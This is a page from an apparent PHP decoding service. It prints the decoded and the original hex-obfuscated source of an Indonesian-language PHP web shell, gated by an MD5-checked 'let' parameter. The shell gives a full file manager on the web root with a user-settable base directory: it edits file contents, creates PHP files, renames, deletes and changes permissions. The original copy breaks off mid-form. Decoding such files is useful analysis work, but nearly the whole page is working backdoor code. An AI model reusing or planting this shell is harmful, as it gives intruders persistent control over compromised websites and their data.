Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto x5Rbx; x5Rbx: session_start(); goto rhbZt; rhbZt: if (isset($_GET["\x6c\145\1..

Decoded Output download

<?php 
 goto x5Rbx; x5Rbx: session_start(); goto rhbZt; rhbZt: if (isset($_GET["let"]) && md5($_GET["let"]) == "db82206b1d49042d1a710e9c88c21d36") { $var = "&let=" . $_GET["let"]; ?> 
<!doctypehtml><html lang="id"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Oh No!</title><style>body{font-family:Courier New;margin:20px;background-color:#111;color:#0f0}table{width:100%;border:none;border:1px solid #0f0}table .svg{width:1%}table .name{width:39%}table .size{width:15%;text-align:center}table .modify{width:15%;text-align:center}table .perms{width:15%;text-align:center}table .actions{width:15%;text-align:center}td,th{padding:2px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}th{background-color:#161616;border-bottom:1px solid #0f0;padding:10px 0;text-align:center}table tr:hover{background:#222}form{margin-bottom:20px}a{text-decoration:none;color:#0f0}.directory{background:linear-gradient(0deg,rgba(18,18,18,1) 0,rgba(28,28,28,1) 100%);padding:1px}.folder:hover{color:#0f0;font-weight:700;text-shadow:0 0 5px #0f0}.file{color:#0f0;padding:1px;border-bottom:1px solid #bbb}.file a{color:#0f0;text-decoration:none}textarea{width:100%;box-sizing:border-box}.fields{background-color:#111;color:#0f0;border:none;padding:5px;cursor:pointer;margin-right:10px;border:1px solid #0f0;border-radius:5px}.submit{background-color:Transparent;color:#0f0;border:none;cursor:pointer;border-radius:5px;margin:5px}.submit:hover{text-shadow:0 0 5px #0f0}.alert{color:red}.current_path a{text-decoration:underline}</style><?php  function sanitizeDirectory($dir) { $dir = preg_replace("/[^a-zA-Z0-9_\/\-. ]/", '', $dir); return $dir; } function sanitizeFile($file) { $file = preg_replace("/[^a-zA-Z0-9_\. ]/", '', $file); return $file; } function sanitizeFolder($folder) { $folder = preg_replace("/[^a-zA-Z0-9_\/\-. ]/", '', $folder); return $folder; } function formatSize($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } elseif ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } elseif ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } elseif ($size > 1) { $size = $size . " bytes"; } elseif ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } return $size; } function formatPermissions($perms) { $info = ''; $info .= $perms & 256 ? "r" : "-"; $info .= $perms & 128 ? "w" : "-"; $info .= $perms & 64 ? "x" : "-"; $info .= $perms & 32 ? "r" : "-"; $info .= $perms & 16 ? "w" : "-"; $info .= $perms & 8 ? "x" : "-"; $info .= $perms & 4 ? "r" : "-"; $info .= $perms & 2 ? "w" : "-"; $info .= $perms & 1 ? "x" : "-"; return $info; } function deleteDirectory($dir) { if (!file_exists($dir)) { return false; } if (!is_dir($dir)) { return unlink($dir); } foreach (glob(rtrim($dir, "/") . "/*", GLOB_MARK) as $file) { deleteDirectory($file); } return rmdir($dir); } if (!isset($_SESSION["base_dir"])) { $base_dir = $_SERVER["DOCUMENT_ROOT"]; $_SESSION["base_dir"] = $base_dir; } else { $base_dir = $_SESSION["base_dir"]; if (isset($_GET["base_dir"])) { $base_dir = $_GET["base_dir"]; } $_SESSION["base_dir"] = $base_dir; } $current_dir = isset($_GET["dir"]) ? sanitizeDirectory($_GET["dir"]) : ''; $file_to_edit = isset($_GET["file"]) ? sanitizeFile($_GET["file"]) : ''; $folder_to_create = isset($_POST["new_folder_name"]) ? sanitizeFolder($_POST["new_folder_name"]) : ''; $rename_target = isset($_GET["rename_target"]) ? sanitizeDirectory($_GET["rename_target"]) : ''; $access_target = isset($_GET["access_target"]) ? sanitizeDirectory($_GET["access_target"]) : ''; $new_name = isset($_POST["new_name"]) ? sanitizeDirectory($_POST["new_name"]) : ''; if ($current_dir) { $current_path = realpath($base_dir . "/" . $current_dir); } else { $current_path = realpath($base_dir); } if (!is_dir($current_path)) { die("Direktori tidak ditemukan atau tidak dapat diakses."); } if ($file_to_edit) { $file_path = $current_path . "/" . $file_to_edit; if (file_exists($file_path) && is_file($file_path)) { if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST["save"])) { $new_content = $_POST["content"]; file_put_contents($file_path, $new_content); echo "<p>File berhasil diperbarui.</p>"; } if (isset($_POST["cancel"])) { header("Location: ?dir=" . urlencode($current_dir) . $var); die; } } $file_content = file_get_contents($file_path); echo "<h2>Edit File: " . htmlspecialchars($file_to_edit) . "</h2>"; echo "<form method="post">"; echo "<textarea class="fields" name="content" rows="20" cols="80">" . htmlspecialchars($file_content) . "</textarea><br>"; echo "<input type="submit" name="save" value="Simpan Perubahan" />"; echo "<input type="submit" name="cancel" value="Batal" />"; echo "</form>"; die; } else { die("File tidak ditemukan atau tidak dapat diakses."); } } if (isset($_POST["create"])) { $new_file_name = sanitizeFile($_POST["new_file_name"]); $file_type = $_POST["file_type"]; $new_file_path = $current_path . "/" . $new_file_name . "." . $file_type; if (file_exists($new_file_path)) { echo "<p class="alert">File sudah ada.</p>"; } else { $default_content = ''; file_put_contents($new_file_path, $default_content); echo "<p>File berhasil dibuat: <a href="?dir=" . urlencode($current_dir) . "&file=" . urlencode($new_file_name . "." . $file_type) . $var . "">" . htmlspecialchars($new_file_name . "." . $file_type) . "</a></p>"; } } if (isset($_POST["create_folder"])) { $new_folder_name = sanitizeFolder($_POST["new_folder_name"]); $new_folder_path = $current_path . "/" . $new_folder_name; if (is_dir($new_folder_path)) { echo "<p class="alert">Folder sudah ada.</p>"; } else { mkdir($new_folder_path); echo "<p>Folder berhasil dibuat: <a href="?dir=" . urlencode($current_dir . "/" . $new_folder_name) . $var . "">" . htmlspecialchars($new_folder_name) . "</a></p>"; } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["rename"])) { $target_path = $current_path . "/" . $rename_target; $new_path = $current_path . "/" . $new_name; if (file_exists($target_path)) { if (rename($target_path, $new_path)) { echo "<p>Berhasil mengganti nama menjadi: <a href="?dir=" . urlencode($current_dir) . $var . "">" . htmlspecialchars($new_name) . "</a></p>"; } else { echo "<p class="alert">Gagal mengganti nama.</p>"; } } else { echo "<p class="alert">Target tidak ditemukan.</p>"; } } if ($_SERVER["REQUEST_METHOD"] === "POST") { $delete_target = isset($_POST["delete_target"]) ? realpath($base_dir . "/" . sanitizeDirectory($_POST["delete_target"])) : ''; if (isset($_POST["delete_file"])) { if ($delete_target && file_exists($delete_target) && is_file($delete_target)) { if (unlink($delete_target)) { echo "<p>File berhasil dihapus.</p>"; } else { echo "<p class="alert">Gagal menghapus file.</p>"; } } else { echo "<p class="alert">File tidak ditemukan.</p>"; } } if (isset($_POST["delete_folder"])) { if ($delete_target && file_exists($delete_target) && is_dir($delete_target)) { if (deleteDirectory($delete_target)) { echo "<p>Folder berhasil dihapus.</p>"; } else { echo "<p class="alert">Gagal menghapus folder.</p>"; } } else { echo "<p class="alert">Folder tidak ditemukan.</p>"; } } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["access"])) { $target = $current_path . "/" . $access_target; $mode = $_POST["mode"]; if (file_exists($target)) { if (chmod($target, $mode)) { echo "<p>Akses '{$target}' berhasil diubah menjadi {$mode}.</p>"; } else { echo "<p class='alert'>Gagal mengubah akses '{$target}'.</p>"; } } else { echo "<p class="alert">Target tidak ditemukan.</p>"; } } $directories = array(); $files = array(); if ($handle = opendir($current_path)) { while (false !== ($entry = readdir($handle))) { if ($entry === "." || $entry === "..") { continue; } $full_path = $current_path . "/" . $entry; if (is_dir($full_path)) { $directories[] = $entry; } else { $files[] = $entry; } } closedir($handle); } ?> 
</head><body><form method="post"><input name="new_file_name"class="fields"placeholder="Nama File"required> <select class="fields"name="file_type"><option value="html">HTML</option><option value="php">PHP</option><option value="css">CSS</option><option value="js">JS</option></select> <input name="create"value="Buat File"type="submit"></form><form method="post"><input name="new_folder_name"class="fields"placeholder="Nama Folder"required> <input name="create_folder"value="Buat Folder"type="submit"></form><form method="post"><input name="rename_target"value="<?php  echo htmlspecialchars($rename_target); ?> 
"type="hidden"> <input name="new_name"value="<?php  echo htmlspecialchars($rename_target); ?> 
"class="fields"placeholder="Nama Baru"required> <input name="rename"value="Ganti Nama"type="submit"></form><form method="post"><input name="access_target"value="<?php  echo htmlspecialchars($access_target); ?> 
"class="fields"placeholder="Nama File/Folder"required> <select class="fields"name="mode"><option value="500">500</option><option value="555">555</option><option value="600">600</option><option value="644">644</option><option value="700">700</option><option value="755">755</option><option value="775">775</option><option value="777">777</option></select> <input name="access"value="Update Akses"type="submit"></form><span class="current_path"><?php  $xpaths = preg_split("/[\/\\]/", $current_path); $rpath = ''; foreach ($xpaths as $xpath) { if ($xpath != "C:") { echo "/"; $rpath = $rpath . "/" . $xpath; } else { $rpath = $rpath . $xpath; } echo "<a href="?base_dir=" . urlencode($rpath) . $var . "">" . $xpath . "</a>"; } ?> 
</span><?php  echo "<table cellspacing="0" cellpadding="0">\xa        <thead>\xa            <tr>\xa                <th></th>\xa                <th class="name">Name</th>
                <th class="size">Size</th>
                <th class="modify">Last Modified</th>\xa                <th class="perms">Permissions</th>\xa                <th class="actions">actions</th>\xa            </tr>
        </thead>\xa        <tbody>\xa    "; if ($current_dir) { $parent_dir = dirname($current_dir); echo "
        <tr class="directory">\xa        <td class="svg"><a class="folder" href="?dir=" . urlencode($parent_dir) . $var . "">\xa        <svg class="w-[12px] h-[12px] text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
  <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1" d="M14.5 8.046H11V6.119c0-.921-.9-1.446-1.524-.894l-5.108 4.49a1.2 1.2 0 0 0 0 1.739l5.108 4.49c.624.556 1.524.027 1.524-.893v-1.928h2a3.023 3.023 0 0 1 3 3.046V19a5.593 5.593 0 0 0-1.5-10.954Z"/>\xa</svg></a>
        </td>\xa        <td colspan="5"><a class="folder" href="?dir=" . urlencode($parent_dir) . $var . "">
        
/.. </a></td>\xa</tr>"; } foreach ($directories as $directory) { $full_path = $current_path . "/" . $directory; $folder_mtime = date("d M Y H:i:s", filemtime($full_path)); $folder_perms = formatPermissions(fileperms($full_path)); echo "<tr class="directory">
        <td class="svg">
            <a class="folder" href="?dir=" . urlencode($current_dir . "/" . $directory) . $var . "">\xa            <svg class="w-[12px] h-[12px] text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
  <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1" d="M13.5 8H4m0-2v13a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-5.032a1 1 0 0 1-.768-.36l-1.9-2.28a1 1 0 0 0-.768-.36H5a1 1 0 0 0-1 1Z"/>\xa</svg></a>
</td>
        <td>\xa            <a class="folder" href="?dir=" . urlencode($current_dir . "/" . $directory) . $var . "">
" . htmlspecialchars($directory) . "</a>\xa</td>
<td class="size"> --- </td>\xa<td class="modify">" . $folder_mtime . "</td>\xa<td class="perms">" . $folder_perms . "</td>\xa<td class="actions">\xa<a class="submit" href="?dir=" . urlencode($current_dir) . "&access_target=" . urlencode($directory) . $var . "" title="Access">A</a>
<a class="submit" href="?dir=" . urlencode($current_dir) . "&rename_target=" . urlencode($directory) . $var . "" title="Rename">R</a>\xa"; ?> 
<form method="post"style="display:inline"><input name="delete_target"value="<?php  echo htmlspecialchars($current_dir . "/" . $directory); ?> 
"type="hidden"> <input name="delete_folder"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus folder ini?")'title="Delete"></form><?php  echo "\xa</td>
</tr>"; } $array = array("php", "html", "css", "js"); foreach ($files as $file) { $full_path = $current_path . "/" . $file; $file_size = formatSize(filesize($full_path)); $file_mtime = date("d M Y H:i:s", filemtime($full_path)); $file_perms = formatPermissions(fileperms($full_path)); echo "<tr class="file">"; echo "<td>
            <svg class="w-[12px] h-[12px] text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
  <path stroke="currentColor" stroke-linejoin="round" stroke-width="1" d="M10 3v4a1 1 0 0 1-1 1H5m14-4v16a1 1 0 0 1-1 1H6a1 1 0 0 1-1-1V7.914a1 1 0 0 1 .293-.707l3.914-3.914A1 1 0 0 1 9.914 3H18a1 1 0 0 1 1 1Z"/>\xa</svg>\xa            </td>"; if (in_array(pathinfo($file, PATHINFO_EXTENSION), $array)) { echo "<td>
            " . htmlspecialchars($file) . "</td>\xa            </td>
                <td class="size">" . $file_size . "</td>
                <td class="modify">" . $file_mtime . "</td>\xa                <td class="perms">" . $file_perms . "</td>\xa                <td class="actions">\xa                <a class="submit" href="?dir=" . urlencode($current_dir) . "&access_target=" . urlencode($file) . $var . "" title="Access">A</a>\xa                <a class="submit" href="?dir=" . urlencode($current_dir) . "&rename_target=" . urlencode($file) . $var . "" title="Rename">R</a>\xa                <a class="submit" href="?dir=" . urlencode($current_dir) . "&file=" . urlencode($file) . $var . "" title="Edit">&nbsp;E</a>
                "; ?> 
<form method="post"style="display:inline"><input name="delete_target"value="<?php  echo htmlspecialchars($current_dir . "/" . $file); ?> 
"type="hidden"> <input name="delete_file"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus file ini?")'title="Delete"></form><?php  echo "
                </td>
                "; } else { echo "<td>" . htmlspecialchars($file) . "
                        </td>\xa                        <td class="size">" . $file_size . "</td>
                        <td class="modify">" . $file_mtime . "</td>\xa                        <td class="perms">" . $file_perms . "</td>\xa                        <td class="actions">\xa                        <a href="?dir=" . urlencode($current_dir) . "&rename_target=" . urlencode($file) . $var . "">R</a>
                        </td>"; } echo "</tr>"; } ?> 
</body></html><?php  die; } goto zgVa0; zgVa0: ?>

Did this file decode correctly?

Original Code

<?php
 goto x5Rbx; x5Rbx: session_start(); goto rhbZt; rhbZt: if (isset($_GET["\x6c\145\164"]) && md5($_GET["\x6c\145\x74"]) == "\x64\142\x38\x32\x32\60\66\142\x31\144\64\71\x30\64\62\x64\61\141\x37\x31\x30\x65\x39\143\x38\x38\143\x32\x31\144\63\66") { $var = "\46\x6c\145\164\x3d" . $_GET["\x6c\145\164"]; ?>
<!doctypehtml><html lang="id"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Oh No!</title><style>body{font-family:Courier New;margin:20px;background-color:#111;color:#0f0}table{width:100%;border:none;border:1px solid #0f0}table .svg{width:1%}table .name{width:39%}table .size{width:15%;text-align:center}table .modify{width:15%;text-align:center}table .perms{width:15%;text-align:center}table .actions{width:15%;text-align:center}td,th{padding:2px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}th{background-color:#161616;border-bottom:1px solid #0f0;padding:10px 0;text-align:center}table tr:hover{background:#222}form{margin-bottom:20px}a{text-decoration:none;color:#0f0}.directory{background:linear-gradient(0deg,rgba(18,18,18,1) 0,rgba(28,28,28,1) 100%);padding:1px}.folder:hover{color:#0f0;font-weight:700;text-shadow:0 0 5px #0f0}.file{color:#0f0;padding:1px;border-bottom:1px solid #bbb}.file a{color:#0f0;text-decoration:none}textarea{width:100%;box-sizing:border-box}.fields{background-color:#111;color:#0f0;border:none;padding:5px;cursor:pointer;margin-right:10px;border:1px solid #0f0;border-radius:5px}.submit{background-color:Transparent;color:#0f0;border:none;cursor:pointer;border-radius:5px;margin:5px}.submit:hover{text-shadow:0 0 5px #0f0}.alert{color:red}.current_path a{text-decoration:underline}</style><?php  function sanitizeDirectory($dir) { $dir = preg_replace("\57\x5b\x5e\x61\55\172\x41\55\132\60\x2d\x39\x5f\134\57\x5c\55\56\x20\x5d\x2f", '', $dir); return $dir; } function sanitizeFile($file) { $file = preg_replace("\x2f\x5b\x5e\x61\x2d\x7a\101\55\x5a\60\x2d\71\x5f\x5c\x2e\x20\135\57", '', $file); return $file; } function sanitizeFolder($folder) { $folder = preg_replace("\x2f\133\136\x61\x2d\x7a\101\x2d\132\60\55\x39\137\134\x2f\x5c\55\56\40\x5d\x2f", '', $folder); return $folder; } function formatSize($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . "\x20\x47\x42"; } elseif ($size >= 1048576) { $size = number_format($size / 1048576, 2) . "\40\x4d\102"; } elseif ($size >= 1024) { $size = number_format($size / 1024, 2) . "\40\113\x42"; } elseif ($size > 1) { $size = $size . "\x20\142\x79\164\x65\163"; } elseif ($size == 1) { $size = $size . "\x20\142\x79\x74\145"; } else { $size = "\x30\40\x62\x79\x74\x65\163"; } return $size; } function formatPermissions($perms) { $info = ''; $info .= $perms & 256 ? "\x72" : "\55"; $info .= $perms & 128 ? "\167" : "\55"; $info .= $perms & 64 ? "\170" : "\55"; $info .= $perms & 32 ? "\162" : "\55"; $info .= $perms & 16 ? "\x77" : "\x2d"; $info .= $perms & 8 ? "\x78" : "\x2d"; $info .= $perms & 4 ? "\x72" : "\55"; $info .= $perms & 2 ? "\167" : "\x2d"; $info .= $perms & 1 ? "\170" : "\55"; return $info; } function deleteDirectory($dir) { if (!file_exists($dir)) { return false; } if (!is_dir($dir)) { return unlink($dir); } foreach (glob(rtrim($dir, "\57") . "\x2f\x2a", GLOB_MARK) as $file) { deleteDirectory($file); } return rmdir($dir); } if (!isset($_SESSION["\142\141\x73\x65\137\144\151\162"])) { $base_dir = $_SERVER["\104\x4f\x43\125\x4d\105\116\124\x5f\x52\x4f\x4f\124"]; $_SESSION["\142\141\163\x65\137\x64\x69\162"] = $base_dir; } else { $base_dir = $_SESSION["\x62\141\163\x65\x5f\144\151\x72"]; if (isset($_GET["\x62\x61\163\145\137\x64\x69\162"])) { $base_dir = $_GET["\142\x61\163\x65\137\144\151\162"]; } $_SESSION["\x62\x61\x73\x65\137\144\151\x72"] = $base_dir; } $current_dir = isset($_GET["\144\151\x72"]) ? sanitizeDirectory($_GET["\144\x69\x72"]) : ''; $file_to_edit = isset($_GET["\146\151\154\145"]) ? sanitizeFile($_GET["\146\x69\154\x65"]) : ''; $folder_to_create = isset($_POST["\156\145\167\137\146\157\154\x64\x65\x72\137\156\x61\x6d\x65"]) ? sanitizeFolder($_POST["\x6e\x65\167\x5f\146\157\154\144\x65\162\x5f\x6e\x61\x6d\145"]) : ''; $rename_target = isset($_GET["\162\x65\156\141\155\x65\x5f\164\141\x72\x67\x65\164"]) ? sanitizeDirectory($_GET["\162\x65\156\x61\x6d\145\137\164\141\162\x67\x65\x74"]) : ''; $access_target = isset($_GET["\x61\x63\x63\x65\x73\163\x5f\x74\x61\x72\x67\x65\x74"]) ? sanitizeDirectory($_GET["\x61\x63\143\x65\163\163\137\x74\x61\162\147\145\164"]) : ''; $new_name = isset($_POST["\156\145\167\x5f\156\x61\x6d\145"]) ? sanitizeDirectory($_POST["\x6e\x65\167\x5f\x6e\x61\155\145"]) : ''; if ($current_dir) { $current_path = realpath($base_dir . "\x2f" . $current_dir); } else { $current_path = realpath($base_dir); } if (!is_dir($current_path)) { die("\104\151\x72\145\153\164\157\x72\x69\40\x74\151\144\141\153\x20\144\151\x74\145\x6d\x75\x6b\141\x6e\x20\x61\164\141\165\40\x74\x69\144\x61\153\40\144\141\x70\x61\x74\x20\x64\151\x61\x6b\x73\145\x73\x2e"); } if ($file_to_edit) { $file_path = $current_path . "\57" . $file_to_edit; if (file_exists($file_path) && is_file($file_path)) { if ($_SERVER["\122\105\121\x55\105\x53\x54\137\115\x45\124\110\x4f\104"] === "\120\x4f\x53\124") { if (isset($_POST["\163\x61\166\145"])) { $new_content = $_POST["\x63\157\x6e\164\145\156\x74"]; file_put_contents($file_path, $new_content); echo "\74\x70\76\x46\151\x6c\x65\x20\x62\x65\x72\x68\141\163\x69\x6c\x20\x64\151\x70\145\162\x62\141\162\165\x69\56\74\57\160\76"; } if (isset($_POST["\x63\141\156\143\x65\154"])) { header("\114\x6f\143\x61\x74\151\x6f\156\72\x20\x3f\144\x69\x72\75" . urlencode($current_dir) . $var); die; } } $file_content = file_get_contents($file_path); echo "\74\150\62\x3e\x45\144\x69\164\x20\x46\151\x6c\145\x3a\40" . htmlspecialchars($file_to_edit) . "\x3c\57\x68\62\x3e"; echo "\74\x66\x6f\162\x6d\40\x6d\145\164\x68\x6f\144\x3d\42\x70\157\x73\x74\x22\76"; echo "\x3c\x74\x65\x78\x74\141\x72\145\x61\x20\143\x6c\141\x73\x73\75\42\x66\151\x65\x6c\144\163\x22\x20\156\x61\x6d\x65\x3d\x22\143\157\156\x74\145\156\x74\x22\40\x72\x6f\167\x73\75\42\x32\x30\x22\x20\143\157\154\x73\x3d\42\x38\60\x22\x3e" . htmlspecialchars($file_content) . "\74\x2f\164\x65\170\164\141\162\145\141\76\74\x62\x72\76"; echo "\x3c\x69\156\160\165\164\40\164\x79\160\145\x3d\42\163\x75\x62\x6d\x69\164\x22\x20\156\x61\155\x65\75\42\163\x61\x76\145\42\40\166\141\154\x75\145\x3d\42\123\151\155\160\x61\156\x20\120\145\x72\x75\x62\x61\150\x61\x6e\x22\x20\x2f\76"; echo "\x3c\151\x6e\x70\165\x74\40\164\171\160\145\x3d\42\163\165\142\155\x69\164\x22\40\x6e\141\x6d\145\x3d\x22\x63\141\x6e\143\145\x6c\x22\40\166\141\154\165\145\75\x22\102\141\x74\x61\x6c\42\40\57\76"; echo "\x3c\x2f\x66\x6f\x72\x6d\76"; die; } else { die("\x46\151\154\x65\40\164\x69\144\x61\x6b\x20\x64\x69\x74\145\155\x75\x6b\x61\156\40\x61\x74\x61\165\40\164\x69\x64\141\x6b\x20\x64\x61\x70\x61\164\40\144\151\x61\x6b\x73\x65\163\56"); } } if (isset($_POST["\143\x72\x65\x61\x74\145"])) { $new_file_name = sanitizeFile($_POST["\x6e\x65\x77\137\146\151\x6c\145\137\x6e\141\155\145"]); $file_type = $_POST["\x66\151\154\145\x5f\x74\171\160\x65"]; $new_file_path = $current_path . "\x2f" . $new_file_name . "\56" . $file_type; if (file_exists($new_file_path)) { echo "\74\x70\40\143\154\141\163\x73\x3d\x22\x61\154\x65\162\x74\x22\x3e\x46\x69\154\145\40\x73\165\x64\x61\x68\40\x61\x64\141\56\x3c\57\160\76"; } else { $default_content = ''; file_put_contents($new_file_path, $default_content); echo "\74\x70\x3e\106\151\x6c\145\40\x62\145\162\x68\x61\x73\x69\x6c\40\x64\x69\x62\x75\141\x74\72\x20\74\x61\40\x68\x72\145\x66\75\42\77\144\x69\x72\75" . urlencode($current_dir) . "\x26\146\x69\154\145\x3d" . urlencode($new_file_name . "\x2e" . $file_type) . $var . "\42\76" . htmlspecialchars($new_file_name . "\56" . $file_type) . "\x3c\57\x61\x3e\74\x2f\x70\76"; } } if (isset($_POST["\x63\x72\x65\141\x74\145\137\x66\157\x6c\144\x65\162"])) { $new_folder_name = sanitizeFolder($_POST["\x6e\x65\x77\x5f\x66\157\154\x64\145\x72\x5f\x6e\141\155\x65"]); $new_folder_path = $current_path . "\x2f" . $new_folder_name; if (is_dir($new_folder_path)) { echo "\x3c\x70\x20\x63\154\141\x73\x73\75\x22\141\x6c\145\x72\x74\x22\x3e\106\x6f\x6c\144\x65\x72\40\163\165\x64\141\x68\40\x61\144\x61\56\74\57\x70\x3e"; } else { mkdir($new_folder_path); echo "\x3c\x70\76\x46\x6f\x6c\144\145\162\x20\142\145\x72\x68\x61\163\151\x6c\40\144\x69\x62\x75\x61\x74\x3a\x20\74\141\40\150\162\x65\146\75\x22\77\144\151\x72\75" . urlencode($current_dir . "\x2f" . $new_folder_name) . $var . "\x22\76" . htmlspecialchars($new_folder_name) . "\74\x2f\141\76\x3c\x2f\160\76"; } } if ($_SERVER["\122\105\x51\125\105\123\x54\x5f\x4d\105\x54\x48\117\x44"] === "\120\117\x53\124" && isset($_POST["\162\145\x6e\141\x6d\x65"])) { $target_path = $current_path . "\57" . $rename_target; $new_path = $current_path . "\57" . $new_name; if (file_exists($target_path)) { if (rename($target_path, $new_path)) { echo "\x3c\x70\76\x42\x65\x72\x68\x61\x73\x69\154\40\x6d\145\156\x67\x67\141\156\164\x69\x20\x6e\141\x6d\141\40\155\x65\156\x6a\x61\144\x69\x3a\x20\x3c\x61\40\150\x72\x65\146\x3d\42\x3f\x64\x69\x72\x3d" . urlencode($current_dir) . $var . "\42\76" . htmlspecialchars($new_name) . "\x3c\x2f\x61\x3e\x3c\x2f\160\x3e"; } else { echo "\x3c\x70\x20\x63\154\x61\x73\163\75\x22\x61\x6c\x65\x72\x74\42\76\107\x61\x67\x61\x6c\40\x6d\x65\156\147\147\x61\156\x74\x69\x20\156\141\x6d\141\x2e\x3c\57\x70\x3e"; } } else { echo "\74\x70\x20\x63\154\x61\163\x73\x3d\42\141\154\145\x72\x74\42\76\124\141\x72\147\x65\164\x20\x74\151\144\x61\x6b\40\144\151\x74\145\155\165\x6b\x61\156\56\x3c\x2f\x70\76"; } } if ($_SERVER["\122\x45\x51\x55\x45\x53\124\137\x4d\105\x54\x48\x4f\x44"] === "\120\x4f\x53\x54") { $delete_target = isset($_POST["\144\x65\x6c\145\x74\145\137\164\141\x72\147\x65\164"]) ? realpath($base_dir . "\x2f" . sanitizeDirectory($_POST["\x64\145\154\145\164\x65\137\164\141\x72\147\145\x74"])) : ''; if (isset($_POST["\x64\x65\154\x65\x74\x65\x5f\146\151\154\145"])) { if ($delete_target && file_exists($delete_target) && is_file($delete_target)) { if (unlink($delete_target)) { echo "\x3c\x70\76\106\x69\154\145\x20\x62\x65\162\150\x61\163\x69\x6c\x20\x64\151\x68\141\160\x75\163\x2e\74\57\160\x3e"; } else { echo "\x3c\160\x20\x63\x6c\x61\163\x73\75\42\141\x6c\x65\162\164\x22\76\107\141\147\x61\154\40\x6d\145\x6e\x67\x68\x61\160\165\x73\x20\x66\x69\x6c\x65\x2e\74\x2f\160\x3e"; } } else { echo "\x3c\x70\40\x63\x6c\141\163\163\75\x22\x61\154\x65\162\x74\42\x3e\106\x69\x6c\x65\40\164\151\x64\141\x6b\40\x64\151\x74\x65\x6d\x75\153\x61\156\56\74\x2f\160\x3e"; } } if (isset($_POST["\x64\x65\154\x65\x74\x65\137\146\157\154\144\x65\162"])) { if ($delete_target && file_exists($delete_target) && is_dir($delete_target)) { if (deleteDirectory($delete_target)) { echo "\x3c\x70\x3e\106\157\154\x64\x65\162\40\x62\x65\x72\x68\141\163\x69\x6c\40\144\151\x68\141\x70\x75\x73\56\74\57\x70\x3e"; } else { echo "\x3c\x70\40\x63\154\141\x73\x73\75\x22\141\154\x65\162\164\42\76\107\141\147\x61\154\x20\x6d\145\156\x67\x68\141\x70\x75\163\x20\x66\x6f\x6c\144\145\162\x2e\74\x2f\160\x3e"; } } else { echo "\74\160\x20\143\154\141\163\x73\75\42\141\x6c\x65\162\164\x22\x3e\x46\157\x6c\144\x65\162\x20\x74\x69\x64\x61\153\x20\144\151\x74\145\155\165\x6b\141\x6e\x2e\74\x2f\x70\x3e"; } } } if ($_SERVER["\122\x45\x51\x55\105\123\124\137\x4d\105\124\x48\117\x44"] === "\120\117\123\124" && isset($_POST["\141\x63\143\145\163\163"])) { $target = $current_path . "\x2f" . $access_target; $mode = $_POST["\155\157\144\x65"]; if (file_exists($target)) { if (chmod($target, $mode)) { echo "\74\160\76\101\153\163\x65\163\x20\47{$target}\47\x20\142\x65\x72\150\x61\163\x69\154\40\x64\x69\x75\x62\141\x68\x20\155\145\156\152\x61\144\151\40{$mode}\x2e\x3c\57\160\x3e"; } else { echo "\x3c\160\x20\x63\x6c\x61\x73\x73\x3d\x27\x61\x6c\x65\162\164\x27\76\x47\141\x67\x61\154\x20\x6d\x65\x6e\x67\165\x62\141\150\x20\x61\x6b\x73\145\163\40\47{$target}\x27\x2e\74\x2f\160\76"; } } else { echo "\x3c\x70\40\x63\154\141\163\x73\75\42\x61\154\145\162\164\x22\76\124\141\162\147\145\164\x20\164\151\144\141\x6b\40\x64\151\164\x65\155\165\x6b\141\156\56\74\57\160\x3e"; } } $directories = array(); $files = array(); if ($handle = opendir($current_path)) { while (false !== ($entry = readdir($handle))) { if ($entry === "\x2e" || $entry === "\x2e\56") { continue; } $full_path = $current_path . "\57" . $entry; if (is_dir($full_path)) { $directories[] = $entry; } else { $files[] = $entry; } } closedir($handle); } ?>
</head><body><form method="post"><input name="new_file_name"class="fields"placeholder="Nama File"required> <select class="fields"name="file_type"><option value="html">HTML</option><option value="php">PHP</option><option value="css">CSS</option><option value="js">JS</option></select> <input name="create"value="Buat File"type="submit"></form><form method="post"><input name="new_folder_name"class="fields"placeholder="Nama Folder"required> <input name="create_folder"value="Buat Folder"type="submit"></form><form method="post"><input name="rename_target"value="<?php  echo htmlspecialchars($rename_target); ?>
"type="hidden"> <input name="new_name"value="<?php  echo htmlspecialchars($rename_target); ?>
"class="fields"placeholder="Nama Baru"required> <input name="rename"value="Ganti Nama"type="submit"></form><form method="post"><input name="access_target"value="<?php  echo htmlspecialchars($access_target); ?>
